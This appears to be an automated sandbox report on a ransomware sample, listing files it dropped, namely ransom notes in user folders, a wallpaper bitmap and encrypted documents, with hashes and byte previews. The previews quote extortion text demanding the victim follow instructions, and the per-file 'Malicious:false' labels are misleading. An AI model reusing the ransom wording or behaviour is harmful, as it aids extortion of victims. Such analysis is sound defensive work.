                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\Public\Videos\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\3D Objects\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1391
                                                                                Entropy (8bit):7.705940075877404
                                                                                Encrypted:false
                                                                                SSDEEP:24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
                                                                                MD5:0CD2F9E0DA1773E9ED864DA5E370E74E
                                                                                SHA1:CABD2A79A1076A31F21D253635CB039D4329A5E8
                                                                                SHA-256:96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
                                                                                SHA-512:3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
                                                                                Malicious:false
                                                                                Preview: 0..k0..S............@.YDc.c...0...*.H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0...*.H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I.....*.A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.|C.t..t.....0.[q6....00\H..;..}`...).........A.......|.;F.H*..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..|o..;.....'...}~.."......
                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:Microsoft Cabinet archive data, 61020 bytes, 1 file
                                                                                Category:dropped
                                                                                Size (bytes):61020
                                                                                Entropy (8bit):7.994886945086499
                                                                                Encrypted:true
                                                                                SSDEEP:1536:IZ/FdeYPeFusuQszEfL0/NfXfdl5lNQbGxO4EBJE:0tdeYPiuWAVtlLBGm
                                                                                MD5:2902DE11E30DCC620B184E3BB0F0C1CB
                                                                                SHA1:5D11D14A2558801A2688DC2D6DFAD39AC294F222
                                                                                SHA-256:E6A7F1F8810E46A736E80EE5AC6187690F28F4D5D35D130D410E20084B2C1544
                                                                                SHA-512:EFD415CDE25B827AC2A7CA4D6486CE3A43CDCC1C31D3A94FD7944681AA3E83A4966625BF2E6770581C4B59D05E35FF9318D9ADADDADE9070F131076892AF2FA0
                                                                                Malicious:false
                                                                                Preview: MSCF....\.......,...................I........l.........R.q .authroot.stl.N....5..CK..8T....c_.d....A.K....=.D.eWI..r."Y...."i..,.=.l.D.....3...3WW.......y...9..w..D.yM10....`.0.e.._.'..a0xN....)F.C..t.z.,.O20.1``L.....m?H..C..X>Oc..q.....%.!^v%<...O...-..@/.......H.J.W...... T...Fp..2.|$....._Y..Y`&..s.1........s.{..,.":o}9.......%._.xW*S.K..4"9......q.G:.........a.H.y.. ..r...q./6.p.;.`=*.Dwj......!......s).B..y.......A.!W.........D!s0..!"X...l.....D0...........Ba...Z.0.o..l.3.v..W1F hSp.S)@.....'Z..QW...G...G.G.y+.x...aa`.3..X&4E..N...._O..<X.......K...xm..+M...O.H...)..........*..o..~4.6.......p.`Bt.(..*V.N.!.p.C>..%.ySXY.>.`..f|.*...'^K`\..e......j/..|..)..&i...wEj.w...o..r<.$.....C.....}.x...L..&..).r..\...>....v........7...^..L!.$..'m...*,*.....7F$..~..S.6$S.-y....|.!.....x...~k...Q/.w.e...h.[...9<x...Q.x.][}*_%Z..K.).3..'....M.6QkJ.N........Y..Q.n.[.(.... ...Bg..33..[...S..[... .Z..<i.-.]...po.k.,...X6......y3^.t[.Dw.]ts. R..L..`..ut_F....
                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):192
                                                                                Entropy (8bit):2.76677894644439
                                                                                Encrypted:false
                                                                                SSDEEP:3:kkFklLBj09/XfllXlE/zMcyVh/XNNX8RolJuRdyo1dlUKlGXJlDdt:kKVi1y7dNMa8Rdy+UKcXP
                                                                                MD5:9584E084690EF6B15237703B81DF8CA8
                                                                                SHA1:293DE51B596F4F684CC877DCA1BEEE14AC186234
                                                                                SHA-256:F4A03F2E34E58FC2B729792B3F7A1C4987C30958C9AC8DE1F107FE922F841E0B
                                                                                SHA-512:99A7E6AC4FCE8F227A58BF4054F21A48B4C73D1AC5E2F07CE63F0F2BF0BB2CE78F3025F9415B5DC78652BB5DB84F069BF3015F0A410499ACDC51A8ABA32D3878
                                                                                Malicious:false
                                                                                Preview: p...... ........8.:.J...(....................................................... ..........~....9..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".5.a.6.2.8.1.5.c.-.5.6.f."...
                                                                                C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:modified
                                                                                Size (bytes):326
                                                                                Entropy (8bit):3.126935506466317
                                                                                Encrypted:false
                                                                                SSDEEP:6:kKidoW+N+SkQlPlEGYRMY9z+4KlDA3RUeIlD1Ut:G5kPlE99SNxAhUe0et
                                                                                MD5:66D2A8EDAB77D00B0B1EAF4B1B5E149C
                                                                                SHA1:CDD0D8D728CE6B5732E5A2A9C6554B42613E31A1
                                                                                SHA-256:30FE36B7D9E6D408A0BC8106E28106EA997E0A8C58F603BCD4C2268F41873A37
                                                                                SHA-512:27F9991355FB28660C25DE6583BD25008A6225EA9D73E26DB5714B9A9BD643F48E1A23035C645522775B5BA6A3243A78421D416BAB98B78540D6870CAB41C963
                                                                                Malicious:false
                                                                                Preview: p...... ..........h.J...(....................................................... .........T'._......$...........\...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.d.6.5.4.2.7.7.5.f.d.7.1.:.0."...
                                                                                C:\Users\user\AppData\Local\Temp\w2n6uldl09.bmp
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:PC bitmap, Windows 3.x format, 1280 x 1024 x 32
                                                                                Category:dropped
                                                                                Size (bytes):5242934
                                                                                Entropy (8bit):5.581351053466403
                                                                                Encrypted:false
                                                                                SSDEEP:49152:4PMoUfmAP+ercLkVMmYFVCMloo4CQZiuCcrmZhNhN74pDKYV:4Q/L6hN74pb
                                                                                MD5:E75E2012DEDF2C80365674617117D613
                                                                                SHA1:CC9E5C031AD35950A3006C5F2569D4AF1E08EB59
                                                                                SHA-256:B6344997F3713BB9CB752A232E4864E829B7350C6882077812CF66DDFEEB5ECF
                                                                                SHA-512:EEB1E4806A46A4FD7A55C3CDEC6956AA1BEB97349B19773822C83B29F61557B77F68BD52786750588CBC2A94BCE3D32B0D87DA0F40D32969D2629E3FBB784C1B
                                                                                Malicious:false
                                                                                Preview: BM6.P.....6...(............. .......P.....................e.......................$.......0...`.......\...............>...-...........3...{.......b.......E.......D.......t...C.......................r.......u...`...............L.......n.......3...$.......]...+...&.......X...4...,.......8.......4.......W...............W...&...R...N...*...6.......E..._...X.......3...c...............S...........v...............u...&.......[...H.../...{...............{.......d....... ...+...t.......2...k.......................^...........,...........................f...........[...l...1...>...........@.......\.......=...................3...........7...!...p...............%...}...Z...............~.......'...d...............'.......H...J...T...H.......z...,...............................h...R...........t.......?...j...!...............%.......u...............W...u...h...(...........f...d.......K...k...`...........1...........@...V.......W...4...........k...U..._...............6...........E...............t.....
                                                                                C:\Users\user\Contacts\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\BJZFPPWAPT.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.862263998112695
                                                                                Encrypted:false
                                                                                SSDEEP:24:y9fnrbK2b+aCuJidZy9bpScjl3/t1nMGbUkCQ47KkP6kveGlv0IAvmQrTfu/At:ydrLPAZQbpBjlf7nuKG1mUMaSTfu/At
                                                                                MD5:08EFE59DEAA06D1300405D5CE7305566
                                                                                SHA1:79F192DED748AC1795153D9C97F2717DE72470E3
                                                                                SHA-256:D17550A475DCA341C4E7E8F91A577E378FD18704D37F2ACE61CCA97783568794
                                                                                SHA-512:5E550D1987776864F99594AD3BBB5D938382E802269227F2B3F134266A4FC7E453D77E14BE504D15FEA273608E38A7DF63CC3AB127A2076FEBD8D080650B1432
                                                                                Malicious:false
                                                                                Preview: B.n....*...ZI.$]..5...=.Z.y..F..VF.,Q)x{....CV=.q.U....i.V.H/&`.T.z...[.c.4.."X..d....Z...")M...S,.3xs.....p..T.W_...k.._.'2O7M...........@e...OL=y..$C#j.....1.I$<2.........l.H....p.A..~.j.............M.n.K..J...D....[<.{6J.K..f.,.5.\6..P1.ML.._.i.L........./.G.q@ Q5.k..IS...R.u..K..&69......"..Ye.}*e_.%.\E.BQOV.z.....l.2.X..@...Z.B...6..).n..1H.?.._....= ...$zR...#{..da;..[P...&[R......8.+........]...5.D.n.x..H%^..%.zkq..+.?,.....k....../7.<.t.k34{*h^.p....RBH..p......t'.dd...~\r....".........i...(..AD..<......NK..L...>.H....A.......8;.....{_)....t....`_F!.6]u..t..),..|J..w...h.C..8..of...#..IE.._....=C.U.... g...[..}.0.1..% ...... ....?.j...r.`?v6..a..G..R|.x:jX..>.9._@.ya.A.,.......C..:!l~^.M..=.n.*9..k..S{...'hd._....8.. n.....#.....(.%.yb.p&.....x3..}..).(A..h=.m. .#P...N..WY.JY> y.....5G|Y.g)q....".`.he......_.\.pN.....a.O.M...o....(...7x.d.....Om2y..{..q.A.?.w{/n...0.....5.......`{........"w,.v......)J.E.......R.wVg.I[....|....
                                                                                C:\Users\user\Desktop\BNAGMGSPLO.docx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.845977687643072
                                                                                Encrypted:false
                                                                                SSDEEP:24:/78LC+GJS4gsyonpLUD9qSLBneu0KVnACqByuwrTfu/Af:/78GysyCaL1t0KVveryTfu/Af
                                                                                MD5:25FFCBBB784DB183026F9BA3AFB59B9D
                                                                                SHA1:1E3CD119FBA806CB9E6925165320210F2EA0EF8F
                                                                                SHA-256:B484A7D295801E4C5DF74DFF8F1D1D281D3FA1065A935F824F5C7F04A66B544C
                                                                                SHA-512:E12D5255AB3FF07579F9A731BDB8E84FE786094C8976A779B8E8A3FB7EAE8D7B69FB5186F0B63CC54838EA4AC575B9917C0ADCC3F051B5FDCF2F04405E4C0946
                                                                                Malicious:false
                                                                                Preview: {&..i...p.^~.i.8...-p.z..@\2....2.....O..d.n^.Q_.*N.rN.Vm}..6...$.....~z~.......s..'7.r..H.......I...~..}+.Hit..r.Zkm...$qZ...@...543J..Z.d.Gl.M..n....36V.@..?..(.N..,..F*.|h_g;.H}..........a.j..[..aB:7.S#=.~g..<~.......\.T....7Q"..F.\.z..8.,.jo..c.......&...p.W.G.......x.YO...K..^j.4f^.u........;!@.....R...D)..q......)$.2..f7.n..........w...n;..0O.$.......ajQ....1...Ad.-..w..{.k....8Pl...KQ'...d.&F../?.A3T.18k9..M.....V^.%E...H.,.|.v.....T.t..`...s^.`v.y....TgZ.jB..A....O].......?.q".....[.{H.k.L*..O..Rc.<.();........(......*.:.y.e"..M...s.sR#..q...^..g.\.7C8Cs.p.+.^..^.@..`..R....Y#M...x&.......g..t.......P(.Z.KC[../......O.....Nv...<N.@.].w...~.....w.......sG......o......j:.V....E....y..%...5......<Di.!...>...`..K...s...6...p.M1[....[...@3dJ.h...V....tc.2J>..j...K..{.j|..[U.W...q...w.2..R[.....9zU.o{.0.D_!h......G].f,..T.....L.2...!F.q..._..[b..Wk.lk...r}.&..Sd..&..S<].p&.."...V.C..z.t....(...T...W._.a^H.\.p|J...h.D.....
                                                                                C:\Users\user\Desktop\BNAGMGSPLO.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.85344967426848
                                                                                Encrypted:false
                                                                                SSDEEP:24:kA3vUFpXtApptxstLHsc5OMBvjGUS1jIDEAZCxUArTfu/Au8J+:kyUFpXst6tgCO09S1juEVTfu/Aut
                                                                                MD5:5F5BF8F72030BB56E3998F0CF3A992DA
                                                                                SHA1:6007B9ED51235E7EC099AE7464B044F85A0F91FE
                                                                                SHA-256:B31AB603BCCE663F75A880E7A55A4B64E2A869AD85CB280C3044FDB4DF7693ED
                                                                                SHA-512:0D35C34F49AE6545006F5C71863C3B78B6C60DCEFFF9C4F5AFED9494F8F57A2534751C3F9C4563609AD4441FA8DADEB4996EE33A295151F7E974A79658A0C154
                                                                                Malicious:false
